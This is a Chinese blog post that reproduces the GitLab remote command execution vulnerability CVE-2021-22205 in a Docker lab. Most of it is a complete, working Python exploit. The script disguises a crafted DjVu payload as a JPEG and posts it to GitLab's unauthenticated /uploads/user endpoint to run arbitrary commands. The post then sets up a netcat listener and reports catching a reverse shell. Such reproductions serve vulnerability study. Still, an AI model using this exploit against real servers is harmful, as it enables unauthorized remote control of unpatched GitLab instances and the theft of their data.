GitLab 远程命令执行漏洞(CVE-2021-22205)
GitLab是一款Ruby开发的Git项目管理平台。在11.9以后的GitLab中,因为使用了图片处理工具ExifTool而受到漏洞CVE-2021-22204的影响,攻击者可以通过一个未授权的接口上传一张恶意构造的图片,进而在GitLab服务器上执行任意命令。
参考链接:
- https://hackerone.com/reports/1154542
- https://devcraft.io/2021/05/04/exiftool-arbitrary-code-execution-cve-2021-22204.html
- https://security.humanativaspa.it/gitlab-ce-cve-2021-22205-in-the-wild/
- https://github.com/projectdiscovery/nuclei-templates/blob/master/cves/2021/CVE-2021-22205.yaml
漏洞环境
执行如下命令启动一个GitLab 13.10.1版本服务器:
docker-compose up -d
![](https://img2022.cnblogs.com/blog/2236821/202205/2236821-20220517174715921-1039893502.png)
环境启动后,访问http://your-ip:8080
即可查看到GitLab的登录页面。
![](https://img2022.cnblogs.com/blog/2236821/202205/2236821-20220517174715973-582988494.png)
漏洞复现
GitLab的/uploads/user接口可以上传图片且无需认证,利用poc.py脚本来测试这个漏洞:
import sys
import re
import requests
target = sys.argv[1]
command = sys.argv[2]
session = requests.session()
CSRF_PATTERN = re.compile(rb'csrf-token" content="(.*?)" />')
def get_payload(command):
rce_payload = b'\x41\x54\x26\x54\x46\x4f\x52\x4d'
rce_payload += (len(command) + 0x55).to_bytes(length=4, byteorder='big', signed=True)
rce_payload += b'\x44\x4a\x56\x55\x49\x4e\x46\x4f\x00\x00\x00\x0a\x00\x00\x00\x00\x18\x00\x2c\x01\x16\x01\x42\x47\x6a\x70\x00\x00\x00\x00\x41\x4e\x54\x61'
rce_payload += (len(command) + 0x2f).to_bytes(length=4, byteorder='big', signed=True)
rce_payload += b'\x28\x6d\x65\x74\x61\x64\x61\x74\x61\x0a\x09\x28\x43\x6f\x70\x79\x72\x69\x67\x68\x74\x20\x22\x5c\x0a\x22\x20\x2e\x20\x71\x78\x7b'
rce_payload += command.encode()
rce_payload += b'\x7d\x20\x2e\x20\x5c\x0a\x22\x20\x62\x20\x22\x29\x20\x29\x0a'
return rce_payload
def csrf_token():
response = session.get(f'{target}/users/sign_in', headers={'Origin': target})
g = CSRF_PATTERN.search(response.content)
assert g, 'No CSRF Token found'
return g.group(1).decode()
def exploit():
files = [('file', ('test.jpg', get_payload(command), 'image/jpeg'))]
session.post(f'{target}/uploads/user', files=files, headers={'X-CSRF-Token': csrf_token()})
if __name__ == '__main__':
exploit()
print('finish test')
准备好POC
![](https://img2022.cnblogs.com/blog/2236821/202205/2236821-20220517174715976-1737736479.png)
攻击机开启监听和Web服务
nc -lvvp 9999
&
python3 -m http.server 8888
使用POC反弹Shell成功
![](https://img2022.cnblogs.com/blog/2236821/202205/2236821-20220517174715911-1478858046.png)
本文来自博客园,作者:NoCirc1e,转载请注明原文链接:https://www.cnblogs.com/NoCirc1e/p/16281792.html